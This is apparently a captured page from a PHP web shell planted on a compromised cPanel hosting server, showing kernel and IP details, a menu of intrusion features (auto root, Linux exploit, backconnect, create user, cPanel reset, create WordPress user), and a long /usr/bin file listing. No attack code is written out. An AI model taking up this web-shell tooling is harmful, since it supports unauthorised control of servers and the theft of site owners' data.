Linux server1.sbs.cy 5.14.0-362.18.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jan 29 07:05:48 EST 2024 x86_64
Apache
: 199.192.25.12 | : 172.70.131.125
28 Domain
8.1.31
administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
bin /
[ HOME SHELL ]
Name
Size
Permission
Action
2to3
95
B
-rwxr-xr-x
GET
15.82
KB
-rwxr-xr-x
HEAD
15.82
KB
-rwxr-xr-x
Mail
1014.48
KB
-rwxr-xr-x
POST
15.82
KB
-rwxr-xr-x
[
51.81
KB
-rwxr-xr-x
ab
81.46
KB
-rwxr-xr-x
aclocal
35.52
KB
-rwxr-xr-x
aclocal-1.16
35.52
KB
-rwxr-xr-x
acpi_listen
15.47
KB
-rwxr-xr-x
acyclic
15.3
KB
-rwxr-xr-x
addr2line
27.93
KB
-rwxr-xr-x
agentxtrap
27.5
KB
-rwxr-xr-x
alias
33
B
-rwxr-xr-x
animate
15.27
KB
-rwxr-xr-x
appstream-compose
31.47
KB
-rwxr-xr-x
appstream-util
116.57
KB
-rwxr-xr-x
apropos
48.52
KB
-rwxr-xr-x
apropos.man-db
48.52
KB
-rwxr-xr-x
ar
56.19
KB
-rwxr-xr-x
arch
31.66
KB
-rwxr-xr-x
aria_chk
4.52
MB
-rwxr-xr-x
aria_dump_log
4.32
MB
-rwxr-xr-x
aria_ftdump
4.33
MB
-rwxr-xr-x
aria_pack
4.36
MB
-rwxr-xr-x
aria_read_log
4.48
MB
-rwxr-xr-x
arpaname
15.3
KB
-rwxr-xr-x
arping
27.42
KB
-rwxr-xr-x
as
710.51
KB
-rwxr-xr-x
aserver
39.66
KB
-rwxr-xr-x
aspell
151.12
KB
-rwxr-xr-x
at
56.62
KB
-rwxr-xr-x
atq
56.62
KB
-rwxr-xr-x
atrm
56.62
KB
-rwxr-xr-x
attr
15.72
KB
-rwxr-xr-x
audit2allow
14.71
KB
-rwxr-xr-x
audit2why
14.71
KB
-rwxr-xr-x
aulast
19.39
KB
-rwxr-xr-x
aulastlog
15.34
KB
-rwxr-xr-x
ausyscall
15.32
KB
-rwxr-xr-x
authselect
43.68
KB
-rwxr-xr-x
autoconf
14.42
KB
-rwxr-xr-x
autoheader
8.33
KB
-rwxr-xr-x
autom4te
31.43
KB
-rwxr-xr-x
automake
251.93
KB
-rwxr-xr-x
automake-1.16
251.93
KB
-rwxr-xr-x
autopoint
26.36
KB
-rwxr-xr-x
autoreconf
20.57
KB
-rwxr-xr-x
autoscan
16.72
KB
-rwxr-xr-x
autoupdate
33.08
KB
-rwxr-xr-x
auvirt
35.49
KB
-rwxr-xr-x
awk
698.17
KB
-rwxr-xr-x
b2sum
51.8
KB
-rwxr-xr-x
base32
35.7
KB
-rwxr-xr-x
base64
35.7
KB
-rwxr-xr-x
basename
35.68
KB
-rwxr-xr-x
basenc
48.02
KB
-rwxr-xr-x
bash
1.32
MB
-rwxr-xr-x
bashbug
6.91
KB
-rwxr-xr-x
bashbug-64
6.91
KB
-rwxr-xr-x
batch
140
B
-rwxr-xr-x
bcomps
23.37
KB
-rwxr-xr-x
bg
30
B
-rwxr-xr-x
bison
494.76
KB
-rwxr-xr-x
bond2team
22.75
KB
-rwxr-xr-x
bootctl
100.71
KB
-rwxr-xr-x
brotli
753.47
KB
-rwxr-xr-x
bsqldb
35.47
KB
-rwxr-xr-x
bsqlodbc
31.37
KB
-rwxr-xr-x
bunzip2
40.1
KB
-rwxr-xr-x
busctl
100.33
KB
-rwxr-xr-x
bwrap
72.32
KB
-rwxr-xr-x
bzcat
40.1
KB
-rwxr-xr-x
bzcmp
2.09
KB
-rwxr-xr-x
bzdiff
2.09
KB
-rwxr-xr-x
bzegrep
2.01
KB
-rwxr-xr-x
bzfgrep
2.01
KB
-rwxr-xr-x
bzgrep
2.01
KB
-rwxr-xr-x
bzip2
40.1
KB
-rwxr-xr-x
bzip2recover
15.89
KB
-rwxr-xr-x
bzless
1.23
KB
-rwxr-xr-x
bzmore
1.23
KB
-rwxr-xr-x
c++
1.04
MB
-rwxr-xr-x
c++filt
27.38
KB
-rwxr-xr-x
c89
228
B
-rwxr-xr-x
c99
219
B
-rwxr-xr-x
ca-legacy
1.61
KB
-rwxr-xr-x
cal
52.02
KB
-rwxr-xr-x
canberra-boot
19.07
KB
-rwxr-xr-x
canberra-gtk-play
19.18
KB
-rwxr-xr-x
captoinfo
87.8
KB
-rwxr-xr-x
cat
35.66
KB
-rwxr-xr-x
catchsegv
3.21
KB
-rwxr-xr-x
catman
35.86
KB
-rwxr-xr-x
cc
1.04
MB
-rwxr-xr-x
ccomps
27.47
KB
-rwxr-xr-x
cd
30
B
-rwxr-xr-x
centrino-decode
14.13
KB
-rwxr-xr-x
chacl
19.14
KB
-rwxr-xr-x
chage
72.14
KB
-rwsr-xr-x
chattr
15.19
KB
-rwxr-xr-x
chcat
13.63
KB
-rwxr-xr-x
chcon
60.24
KB
-rwxr-xr-x
checkmodule
450.88
KB
-rwxr-xr-x
checkpolicy
527.52
KB
-rwxr-xr-x
chfn
31.48
KB
-rws--x--x
chgrp
56.17
KB
-rwxr-xr-x
chmem
35.59
KB
-rwxr-xr-x
chmod
56.19
KB
-rwxr-xr-x
choom
23.48
KB
-rwxr-xr-x
chown
60.2
KB
-rwxr-xr-x
chronyc
100.83
KB
-rwxr-xr-x
chrt
27.49
KB
-rwxr-xr-x
chsh
23.41
KB
-rwx--x--x
chvt
15.37
KB
-rwxr-xr-x
cifsiostat
23.55
KB
-rwxr-xr-x
circo
15.23
KB
-rwxr-xr-x
cksum
35.58
KB
-rwxr-xr-x
cl-linksafe-apply-group
558
B
-rwxr-xr-x
cl-linksafe-reconfigure
4.83
KB
-rwxr-xr-x
clear
15.15
KB
-rwxr-xr-x
clockdiff
23.38
KB
-rwxr-xr-x
cluster
47.7
KB
-rwxr-xr-x
cmp
40.13
KB
-rwxr-xr-x
col
23.43
KB
-rwxr-xr-x
colcrt
15.39
KB
-rwxr-xr-x
colrm
15.38
KB
-rwxr-xr-x
column
35.53
KB
-rwxr-xr-x
comm
35.77
KB
-rwxr-xr-x
command
35
B
-rwxr-xr-x
compare
15.27
KB
-rwxr-xr-x
compile_et
1.31
KB
-rwxr-xr-x
composite
15.27
KB
-rwxr-xr-x
config_data
6.97
KB
-rwxr-xr-x
conjure
15.27
KB
-rwxr-xr-x
convert
15.27
KB
-rwxr-xr-x
coredumpctl
60.03
KB
-rwxr-xr-x
corelist
14.92
KB
-rwxr-xr-x
cp
149.23
KB
-rwxr-xr-x
cpan
8.06
KB
-rwxr-xr-x
cpan-mirrors
4.19
KB
-rwxr-xr-x
cpansign
1.98
KB
-rwxr-xr-x
cpapi1
3.15
MB
-rwxr-xr-x
cpapi2
3.15
MB
-rwxr-xr-x
cpapi3
3.15
MB
-rwxr-xr-x
cpio
145.52
KB
-rwxr-xr-x
cpp
1.04
MB
-rwxr-xr-x
cpupower
79.92
KB
-rwxr-xr-x
crb
2.29
KB
-rwxr--r--
crc32
1.02
KB
-rwxr-xr-x
cronnext
39.93
KB
-rwxr-xr-x
crontab
55.96
KB
-rwsr-xr-x
csplit
108.88
KB
-rwxr-xr-x
curl
248.67
KB
-rwxr-xr-x
cut
47.82
KB
-rwxr-xr-x
cvtsudoers
233.48
KB
-rwxr-xr-x
cxpm
27.41
KB
-rwxr-xr-x
cyrusbdb2current
1.58
MB
-rwxr-xr-x
datacopy
31.43
KB
-rwxr-xr-x
date
104.05
KB
-rwxr-xr-x
dbilogstrip
1.35
KB
-rwxr-xr-x
dbiprof
6.06
KB
-rwxr-xr-x
dbus-broker
232
KB
-rwxr-xr-x
dbus-broker-launch
130.02
KB
-rwxr-xr-x
dbus-monitor
27.27
KB
-rwxr-xr-x
dbus-send
27.22
KB
-rwxr-xr-x
dbus-update-activation-environ...
15.17
KB
-rwxr-xr-x
dbus-uuidgen
15.14
KB
-rwxr-xr-x
dconf
64.71
KB
-rwxr-xr-x
dd
68.14
KB
-rwxr-xr-x
deallocvt
15.38
KB
-rwxr-xr-x
debuginfo-install
3.6
KB
-rwxr-xr-x
debuginfod-find
19.44
KB
-rwxr-xr-x
defncopy
31.43
KB
-rwxr-xr-x
delv
45.58
KB
-rwxr-xr-x
df
84.74
KB
-rwxr-xr-x
diff
194.7
KB
-rwxr-xr-x
diff3
52.3
KB
-rwxr-xr-x
diffimg
15.26
KB
-rwxr-xr-x
dig
136.79
KB
-rwxr-xr-x
dijkstra
19.44
KB
-rwxr-xr-x
dir
137.66
KB
-rwxr-xr-x
dircolors
39.81
KB
-rwxr-xr-x
dirmngr
439.91
KB
-rwxr-xr-x
dirmngr-client
56.12
KB
-rwxr-xr-x
dirname
31.49
KB
-rwxr-xr-x
display
15.27
KB
-rwxr-xr-x
distro
953
B
-rwxr-xr-x
dltest
15.68
KB
-rwxr-xr-x
dmesg
71.98
KB
-rwxr-xr-x
dnf
2.04
KB
-rwxr-xr-x
dnf-3
2.04
KB
-rwxr-xr-x
dnsdomainname
23.84
KB
-rwxr-xr-x
dnstap-read
23.39
KB
-rwxr-xr-x
domainname
23.84
KB
-rwxr-xr-x
dot
15.23
KB
-rwxr-xr-x
dot2gxl
39.93
KB
-rwxr-xr-x
dotty
2.04
KB
-rwxr-xr-x
doveadm
826.66
KB
-rwxr-xr-x
doveconf
220.09
KB
-rwxr-xr-x
dovecot-sysreport
5.8
KB
-rwxr-xr-x
dpkg
316.64
KB
-rwxr-xr-x
dpkg-deb
149.83
KB
-rwxr-xr-x
dpkg-divert
125.9
KB
-rwxr-xr-x
dpkg-maintscript-helper
20.71
KB
-rwxr-xr-x
dpkg-query
142.3
KB
-rwxr-xr-x
dpkg-realpath
31.8
KB
-rwxr-xr-x
dpkg-split
104.9
KB
-rwxr-xr-x
dpkg-statoverride
52.16
KB
-rwxr-xr-x
dpkg-trigger
44.23
KB
-rwxr-xr-x
dracut
97.54
KB
-rwxr-xr-x
dsync
826.66
KB
-rwxr-xr-x
dtrace
17.38
KB
-rwxr-xr-x
du
149.45
KB
-rwxr-xr-x
dumpkeys
164.06
KB
-rwxr-xr-x
dwp
851.8
KB
-rwxr-xr-x
dwz
216.88
KB
-rwxr-xr-x
ea-php81
10.8
MB
-rwxr-xr-x
ea-php81-pear
383
B
-rwxr-xr-x
ea-php81-pecl
299
B
-rwxr-xr-x
ea-php82
10.88
MB
-rwxr-xr-x
ea-php82-pear
383
B
-rwxr-xr-x
ea-php82-pecl
299
B
-rwxr-xr-x
ea-php83
10.92
MB
-rwxr-xr-x
ea-php83-pear
383
B
-rwxr-xr-x
ea-php83-pecl
299
B
-rwxr-xr-x
echo
35.48
KB
-rwxr-xr-x
ed
52.51
KB
-rwxr-xr-x
edgepaint
2.46
MB
-rwxr-xr-x
egrep
32
B
-rwxr-xr-x
eject
43.8
KB
-rwxr-xr-x
elfedit
36.02
KB
-rwxr-xr-x
enc2xs
40.69
KB
-rwxr-xr-x
encguess
2.92
KB
-rwxr-xr-x
enchant-2
23.82
KB
-rwxr-xr-x
enchant-lsmod-2
15.82
KB
-rwxr-xr-x
env
44.23
KB
-rwxr-xr-x
envml
4.11
KB
-rwxr-xr-x
envsubst
35.39
KB
-rwxr-xr-x
eps2eps
643
B
-rwxr-xr-x
eqn
189.52
KB
-rwxr-xr-x
event_rpcgen.py
53.65
KB
-rwxr-xr-x
evmctl
65.7
KB
-rwxr-xr-x
ex
1.39
MB
-rwxr-xr-x
exempi
28.18
KB
-rwxr-xr-x
exiv2
199.82
KB
-rwxr-xr-x
expand
39.74
KB
-rwxr-xr-x
expr
108.6
KB
-rwxr-xr-x
factor
72.05
KB
-rwxr-xr-x
fallocate
23.39
KB
-rwxr-xr-x
false
27.48
KB
-rwxr-xr-x
fc
30
B
-rwxr-xr-x
fc-cache
139
B
-rwxr-xr-x
fc-cache-64
23.17
KB
-rwxr-xr-x
fc-cat
19.16
KB
-rwxr-xr-x
fc-conflist
15.13
KB
-rwxr-xr-x
fc-list
15.13
KB
-rwxr-xr-x
fc-match
15.13
KB
-rwxr-xr-x
fc-pattern
15.14
KB
-rwxr-xr-x
fc-query
15.13
KB
-rwxr-xr-x
fc-scan
15.14
KB
-rwxr-xr-x
fc-validate
15.14
KB
-rwxr-xr-x
fdp
15.23
KB
-rwxr-xr-x
fg
30
B
-rwxr-xr-x
fgconsole
15.37
KB
-rwxr-xr-x
fgrep
32
B
-rwxr-xr-x
filan
47.84
KB
-rwxr-xr-x
file
27.74
KB
-rwxr-xr-x
fincore
23.49
KB
-rwxr-xr-x
find
284.95
KB
-rwxr-xr-x
find-repos-of-install
3.6
KB
-rwxr-xr-x
findmnt
64.93
KB
-rwxr-xr-x
fips-finish-install
1.72
KB
-rwxr-xr-x
fips-mode-setup
8.02
KB
-rwxr-xr-x
firewall-cmd
140.16
KB
-rwxr-xr-x
firewall-offline-cmd
121.05
KB
-rwxr-xr-x
fisql
35.47
KB
-rwxr-xr-x
flatpak
1.75
MB
-rwxr-xr-x
flatpak-bisect
7.66
KB
-rwxr-xr-x
flatpak-coredumpctl
3.35
KB
-rwxr-xr-x
flex
412.64
KB
-rwxr-xr-x
flex++
412.64
KB
-rwxr-xr-x
flock
23.56
KB
-rwxr-xr-x
fmt
39.77
KB
-rwxr-xr-x
fold
39.72
KB
-rwxr-xr-x
free
23.36
KB
-rwxr-xr-x
freebcp
23.38
KB
-rwxr-xr-x
freetype-config
4.32
KB
-rwxr-xr-x
fribidi
28.59
KB
-rwxr-xr-x
ftp
100.66
KB
-rwxr-xr-x
funzip
31.44
KB
-rwxr-xr-x
fuse2fs
72.69
KB
-rwxr-xr-x
fusermount
35.54
KB
-rwsr-xr-x
g++
1.04
MB
-rwxr-xr-x
g13
110.29
KB
-rwxr-xr-x
galera_new_cluster
921
B
-rwxr-xr-x
galera_recovery
3.29
KB
-rwxr-xr-x
gapplication
23.39
KB
-rwxr-xr-x
garb-systemd
1.2
KB
-rwxr-xr-x
garbd
2.39
MB
-rwxr-xr-x
gawk
698.17
KB
-rwxr-xr-x
gc
19.39
KB
-rwxr-xr-x
gcc
1.04
MB
-rwxr-xr-x
gcc-ar
27.82
KB
-rwxr-xr-x
gcc-nm
27.8
KB
-rwxr-xr-x
gcc-ranlib
27.82
KB
-rwxr-xr-x
gcov
469.12
KB
-rwxr-xr-x
gcov-dump
283.73
KB
-rwxr-xr-x
gcov-tool
312.44
KB
-rwxr-xr-x
gdbm_dump
28.22
KB
-rwxr-xr-x
gdbm_load
36.48
KB
-rwxr-xr-x
gdbmtool
149.26
KB
-rwxr-xr-x
gdbus
51.68
KB
-rwxr-xr-x
gdbus-codegen
1.99
KB
-rwxr-xr-x
gdk-pixbuf-query-loaders-64
15.34
KB
-rwxr-xr-x
gdk-pixbuf-thumbnailer
19.32
KB
-rwxr-xr-x
gencat
27.64
KB
-rwxr-xr-x
genl-ctrl-list
15.3
KB
-rwxr-xr-x
geqn
189.52
KB
-rwxr-xr-x
getconf
35.41
KB
-rwxr-xr-x
getent
36.03
KB
-rwxr-xr-x
getfacl
31.8
KB
-rwxr-xr-x
getfattr
24.35
KB
-rwxr-xr-x
getkeycodes
15.36
KB
-rwxr-xr-x
getopt
23.46
KB
-rwxr-xr-x
getopts
35
B
-rwxr-xr-x
gettext
35.35
KB
-rwxr-xr-x
gettext.sh
5.07
KB
-rwxr-xr-x
gettextize
41.25
KB
-rwxr-xr-x
ghostscript
15.31
KB
-rwxr-xr-x
gio
91.99
KB
-rwxr-xr-x
gio-querymodules-64
15.3
KB
-rwxr-xr-x
git
22.87
MB
-rwxr-xr-x
git-receive-pack
22.87
MB
-rwxr-xr-x
git-shell
6.31
MB
-rwxr-xr-x
git-upload-archive
22.87
MB
-rwxr-xr-x
git-upload-pack
22.87
MB
-rwxr-xr-x
glib-compile-resources
43.52
KB
-rwxr-xr-x
glib-compile-schemas
51.65
KB
-rwxr-xr-x
glib-genmarshal
40.14
KB
-rwxr-xr-x
glib-gettextize
5.26
KB
-rwxr-xr-x
glib-mkenums
30.08
KB
-rwxr-xr-x
gmake
249.8
KB
-rwxr-xr-x
gml2gv
47.78
KB
-rwxr-xr-x
gneqn
916
B
-rwxr-xr-x
gnroff
3.21
KB
-rwxr-xr-x
gobject-query
15.35
KB
-rwxr-xr-x
gpasswd
76.35
KB
-rwsr-xr-x
gpg
1.07
MB
-rwxr-xr-x
gpg-agent
342.25
KB
-rwxr-xr-x
gpg-card
170.13
KB
-rwxr-xr-x
gpg-connect-agent
84.75
KB
-rwxr-xr-x
gpg-error
36.1
KB
-rwxr-xr-x
gpg-error-config
1.98
KB
-rwxr-xr-x
gpg-wks-client
129.55
KB
-rwxr-xr-x
gpg-wks-server
113.33
KB
-rwxr-xr-x
gpg2
1.07
MB
-rwxr-xr-x
gpgconf
100.99
KB
-rwxr-xr-x
gpgme-json
84.63
KB
-rwxr-xr-x
gpgparsemail
35.33
KB
-rwxr-xr-x
gpgrt-config
13.13
KB
-rwxr-xr-x
gpgsplit
27.49
KB
-rwxr-xr-x
gpgtar
64.87
KB
-rwxr-xr-x
gpgv
295.42
KB
-rwxr-xr-x
gpgv2
295.42
KB
-rwxr-xr-x
gpic
201.72
KB
-rwxr-xr-x
gpio-event-mon
18.13
KB
-rwxr-xr-x
gpio-hammer
14.12
KB
-rwxr-xr-x
gpio-watch
14.12
KB
-rwxr-xr-x
gprof
101.66
KB
-rwxr-xr-x
gr2fonttest
28
KB
-rwxr-xr-x
graphml2gv
23.55
KB
-rwxr-xr-x
grep
154.49
KB
-rwxr-xr-x
gresource
23.46
KB
-rwxr-xr-x
groff
96.77
KB
-rwxr-xr-x
grops
167.26
KB
-rwxr-xr-x
grotty
122.2
KB
-rwxr-xr-x
groups
35.68
KB
-rwxr-xr-x
grub2-editenv
463.6
KB
-rwxr-xr-x
grub2-file
1.08
MB
-rwxr-xr-x
grub2-fstest
1.32
MB
-rwxr-xr-x
grub2-glue-efi
286.52
KB
-rwxr-xr-x
grub2-kbdcomp
1.63
KB
-rwxr-xr-x
grub2-menulst2cfg
269.65
KB
-rwxr-xr-x
grub2-mkfont
315.17
KB
-rwxr-xr-x
grub2-mkimage
438.44
KB
-rwxr-xr-x
grub2-mklayout
292.57
KB
-rwxr-xr-x
grub2-mknetdir
505.51
KB
-rwxr-xr-x
grub2-mkpasswd-pbkdf2
294.98
KB
-rwxr-xr-x
grub2-mkrelpath
282.31
KB
-rwxr-xr-x
grub2-mkrescue
1.31
MB
-rwxr-xr-x
grub2-mkstandalone
609.88
KB
-rwxr-xr-x
grub2-mount
1018.09
KB
-rwxr-xr-x
grub2-render-label
1.09
MB
-rwxr-xr-x
grub2-script-check
315.09
KB
-rwxr-xr-x
grub2-syslinux2cfg
1.01
MB
-rwxr-xr-x
gs
15.31
KB
-rwxr-xr-x
gsbj
354
B
-rwxr-xr-x
gsdj
356
B
-rwxr-xr-x
gsdj500
356
B
-rwxr-xr-x
gsettings
31.56
KB
-rwxr-xr-x
gsf-office-thumbnailer
20.07
KB
-rwxr-xr-x
gslj
357
B
-rwxr-xr-x
gslp
354
B
-rwxr-xr-x
gsnd
281
B
-rwxr-xr-x
gsoelim
32.18
KB
-rwxr-xr-x
gst-inspect-1.0
71.59
KB
-rwxr-xr-x
gst-launch-1.0
39.3
KB
-rwxr-xr-x
gst-stats-1.0
35.45
KB
-rwxr-xr-x
gst-typefind-1.0
19.17
KB
-rwxr-xr-x
gtar
514.27
KB
-rwxr-xr-x
gtbl
130.86
KB
-rwxr-xr-x
gtester
31.47
KB
-rwxr-xr-x
gtester-report
18.64
KB
-rwxr-xr-x
gtk-launch
19.48
KB
-rwxr-xr-x
gtk-query-immodules-2.0-64
19.17
KB
-rwxr-xr-x
gtk-query-immodules-3.0-64
23.47
KB
-rwxr-xr-x
gtk-update-icon-cache
40.02
KB
-rwxr-xr-x
gtroff
732.07
KB
-rwxr-xr-x
gunzip
2.29
KB
-rwxr-xr-x
gv2gml
23.41
KB
-rwxr-xr-x
gv2gxl
39.93
KB
-rwxr-xr-x
gvcolor
49.59
KB
-rwxr-xr-x
gvgen
23.41
KB
-rwxr-xr-x
gvmap
2.75
MB
-rwxr-xr-x
gvmap.sh
2.14
KB
-rwxr-xr-x
gvpack
398.14
KB
-rwxr-xr-x
gvpr
15.2
KB
-rwxr-xr-x
gxl2dot
39.93
KB
-rwxr-xr-x
gxl2gv
39.93
KB
-rwxr-xr-x
gzexe
6.3
KB
-rwxr-xr-x
gzip
89.63
KB
-rwxr-xr-x
h2ph
28.69
KB
-rwxr-xr-x
h2xs
59.5
KB
-rwxr-xr-x
hardlink
35.63
KB
-rwxr-xr-x
hash
32
B
-rwxr-xr-x
hb-ot-shape-closure
43.66
KB
-rwxr-xr-x
hb-shape
47.91
KB
-rwxr-xr-x
hb-subset
39.66
KB
-rwxr-xr-x
hb-view
64.01
KB
-rwxr-xr-x
head
43.8
KB
-rwxr-xr-x
hexdump
51.6
KB
-rwxr-xr-x
host
108.77
KB
-rwxr-xr-x
hostid
31.67
KB
-rwxr-xr-x
hostname
23.84
KB
-rwxr-xr-x
hostnamectl
31.67
KB
-rwxr-xr-x
htdbm
38.53
KB
-rwxr-xr-x
htdigest
25.71
KB
-rwxr-xr-x
htpasswd
38.66
KB
-rwxr-xr-x
httxt2dbm
24.73
KB
-rwxr-xr-x
hunspell
102.67
KB
-rwxr-xr-x
i386
27.67
KB
-rwxr-xr-x
iconv
64.38
KB
-rwxr-xr-x
icu-config
205
B
-rwxr-xr-x
icu-config-64
21.67
KB
-rwxr-xr-x
icuinfo
16.07
KB
-rwxr-xr-x
id
39.72
KB
-rwxr-xr-x
identify
15.27
KB
-rwxr-xr-x
idiag-socket-details
15.34
KB
-rwxr-xr-x
idn
36.46
KB
-rwxr-xr-x
ifnames
4.03
KB
-rwxr-xr-x
iio_event_monitor
30.13
KB
-rwxr-xr-x
iio_generic_buffer
34.14
KB
-rwxr-xr-x
ima-add-sigs
2.49
KB
-rwxr-xr-x
ima-setup
3.59
KB
-rwxr-xr-x
import
15.27
KB
-rwxr-xr-x
imunify-antivirus
1
KB
-rwxr-xr-x
imunify-service
1023
B
-rwxr-xr-x
imunify360-agent
1
KB
-rwxr-xr-x
imunify360-command-wrapper
8.35
KB
-rwxr-xr-x
info
312.73
KB
-rwxr-xr-x
infocmp
63.68
KB
-rwxr-xr-x
infotocap
87.8
KB
-rwxr-xr-x
innochecksum
3.59
MB
-rwxr-xr-x
install
149.29
KB
-rwxr-xr-x
instmodsh
4.1
KB
-rwxr-xr-x
intel-speed-select
112.66
KB
-rwxr-xr-x
ionice
15.41
KB
-rwxr-xr-x
iostat
55.86
KB
-rwxr-xr-x
ipcmk
23.49
KB
-rwxr-xr-x
ipcrm
19.42
KB
-rwxr-xr-x
ipcs
39.54
KB
-rwxr-xr-x
iptc
29.3
KB
-rwxr-xr-x
irqtop
35.47
KB
-rwxr-xr-x
isosize
15.34
KB
-rwxr-xr-x
ispell
992
B
-rwxr-xr-x
isql
40.01
KB
-rwxr-xr-x
iusql
31.95
KB
-rwxr-xr-x
jobs
32
B
-rwxr-xr-x
join
51.88
KB
-rwxr-xr-x
journalctl
88.27
KB
-rwxr-xr-x
jq
31.38
KB
-rwxr-xr-x
json_pp
4.78
KB
-rwxr-xr-x
json_reformat
19.34
KB
-rwxr-xr-x
json_verify
15.12
KB
-rwxr-xr-x
json_xs
6.85
KB
-rwxr-xr-x
kbd_mode
15.7
KB
-rwxr-xr-x
kbdinfo
19.39
KB
-rwxr-xr-x
kbdrate
19.4
KB
-rwxr-xr-x
kcare-scanner-interface
4.55
KB
-rwxr-xr-x
kcare-uname
575
B
-rwxr-xr-x
kcarectl
1.21
KB
-rwxr-xr-x
kdumpctl
47.16
KB
-rwxr-xr-x
kernel-install
13.24
KB
-rwxr-xr-x
keyctl
64.02
KB
-rwxr-xr-x
kill
31.48
KB
-rwxr-xr-x
killall
32.95
KB
-rwxr-xr-x
kmod
165.76
KB
-rwxr-xr-x
krb5-config
6.59
KB
-rwxr-xr-x
kvm_stat
62.92
KB
-rwxr-xr-x
last
35.49
KB
-rwxr-xr-x
lastb
35.49
KB
-rwxr-xr-x
lastlog
28.8
KB
-rwxr-xr-x
lchfn
23.32
KB
-rwxr-xr-x
lchsh
23.32
KB
-rwxr-xr-x
ld
1.7
MB
-rwxr-xr-x
ld.bfd
1.7
MB
-rwxr-xr-x
ld.gold
2.03
MB
-rwxr-xr-x
ld.so
871.77
KB
-rwxr-xr-x
ldd
5.32
KB
-rwxr-xr-x
lefty
300.45
KB
-rwxr-xr-x
less
197.9
KB
-rwxr-xr-x
lessecho
15.37
KB
-rwxr-xr-x
lesskey
24.8
KB
-rwxr-xr-x
lesspipe.sh
3.5
KB
-rwxr-xr-x
lex
412.64
KB
-rwxr-xr-x
lexgrog
88.19
KB
-rwxr-xr-x
libcare-cron
1.06
KB
-rwxr-xr-x
libnetcfg
15.41
KB
-rwxr-xr-x
libpng-config
2.38
KB
-rwxr-xr-x
libpng16-config
2.38
KB
-rwxr-xr-x
libtool
359.18
KB
-rwxr-xr-x
libtoolize
126.17
KB
-rwxr-xr-x
libwmf-fontmap
13.03
KB
-rwxr-xr-x
link
31.67
KB
-rwxr-xr-x
linux-boot-prober
5.86
KB
-rwxr-xr-x
linux32
27.67
KB
-rwxr-xr-x
linux64
27.67
KB
-rwxr-xr-x
ln
60.17
KB
-rwxr-xr-x
lneato
1.51
KB
-rwxr-xr-x
loadkeys
200.55
KB
-rwxr-xr-x
loadunimap
31.63
KB
-rwxr-xr-x
locale
59.34
KB
-rwxr-xr-x
localectl
31.63
KB
-rwxr-xr-x
localedef
314.54
KB
-rwxr-xr-x
logger
36.17
KB
-rwxr-xr-x
login
43.64
KB
-rwxr-xr-x
loginctl
68.13
KB
-rwxr-xr-x
logname
31.67
KB
-rwxr-xr-x
logresolve
25.06
KB
-rwxr-xr-x
look
19.37
KB
-rwxr-xr-x
ls
137.65
KB
-rwxr-xr-x
lsattr
15.18
KB
-rwxr-xr-x
lsblk
124.58
KB
-rwxr-xr-x
lscpu
108.44
KB
-rwxr-xr-x
lsgpio
14.3
KB
-rwxr-xr-x
lsiio
22.14
KB
-rwxr-xr-x
lsinitrd
11.85
KB
-rwxr-xr-x
lsipc
51.7
KB
-rwxr-xr-x
lsirq
23.44
KB
-rwxr-xr-x
lslocks
31.78
KB
-rwxr-xr-x
lslogins
51.7
KB
-rwxr-xr-x
lsmem
35.73
KB
-rwxr-xr-x
lsns
39.52
KB
-rwxr-xr-x
lsof
175.06
KB
-rwxr-xr-x
lsphp
937
B
-rwxr-xr-x
lsscsi
89.44
KB
-rwxr-xr-x
lto-dump
26.58
MB
-rwxr-xr-x
lua
23.23
KB
-rwxr-xr-x
luac
157.69
KB
-rwxr-xr-x
lwp-download
10.05
KB
-rwxr-xr-x
lwp-dump
2.65
KB
-rwxr-xr-x
lwp-mirror
2.36
KB
-rwxr-xr-x
lwp-request
15.82
KB
-rwxr-xr-x
m4
240.4
KB
-rwxr-xr-x
mail
1014.48
KB
-rwxr-xr-x
mailx
1014.48
KB
-rwxr-xr-x
mailx.s-nail
1014.48
KB
-rwxr-xr-x
make
249.8
KB
-rwxr-xr-x
make-dummy-cert
614
B
-rwxr-xr-x
man
114.91
KB
-rwxr-xr-x
man-recode
28.01
KB
-rwxr-xr-x
man.man-db
114.91
KB
-rwxr-xr-x
mandb
133.01
KB
-rwxr-xr-x
manpath
31.82
KB
-rwxr-xr-x
mapscrn
31.58
KB
-rwxr-xr-x
mariadb
4.09
MB
-rwxr-xr-x
mariadb-access
109.34
KB
-rwxr-xr-x
mariadb-admin
3.87
MB
-rwxr-xr-x
mariadb-binlog
4.13
MB
-rwxr-xr-x
mariadb-check
3.86
MB
-rwxr-xr-x
mariadb-config
15.79
KB
-rwxr-xr-x
mariadb-conv
3.57
MB
-rwxr-xr-x
mariadb-convert-table-format
4.12
KB
-rwxr-xr-x
mariadb-dump
3.94
MB
-rwxr-xr-x
mariadb-dumpslow
8.05
KB
-rwxr-xr-x
mariadb-embedded
22.59
MB
-rwxr-xr-x
mariadb-find-rows
3.21
KB
-rwxr-xr-x
mariadb-fix-extensions
1.22
KB
-rwxr-xr-x
mariadb-hotcopy
34.15
KB
-rwxr-xr-x
mariadb-import
3.85
MB
-rwxr-xr-x
mariadb-install-db
22.43
KB
-rwxr-xr-x
mariadb-plugin
3.55
MB
-rwxr-xr-x
mariadb-secure-installation
13.49
KB
-rwxr-xr-x
mariadb-service-convert
2.45
KB
-rwxr-xr-x
mariadb-setpermission
17.56
KB
-rwxr-xr-x
mariadb-show
3.85
MB
-rwxr-xr-x
mariadb-slap
3.87
MB
-rwxr-xr-x
mariadb-tzinfo-to-sql
3.55
MB
-rwxr-xr-x
mariadb-upgrade
3.98
MB
-rwxr-xr-x
mariadb-waitpid
3.54
MB
-rwxr-xr-x
mariadb_config
15.79
KB
-rwxr-xr-x
mariadbd-multi
26.71
KB
-rwxr-xr-x
mariadbd-safe
30.43
KB
-rwxr-xr-x
mariadbd-safe-helper
3.51
MB
-rwxr-xr-x
mcookie
27.51
KB
-rwxr-xr-x
md5sum
39.65
KB
-rwxr-xr-x
mdb_copy
15.7
KB
-rwxr-xr-x
mdb_dump
15.84
KB
-rwxr-xr-x
mdb_load
23.84
KB
-rwxr-xr-x
mdb_stat
15.8
KB
-rwxr-xr-x
mdig
51.5
KB
-rwxr-xr-x
mesg
15.34
KB
-rwxr-xr-x
mkdir
68.31
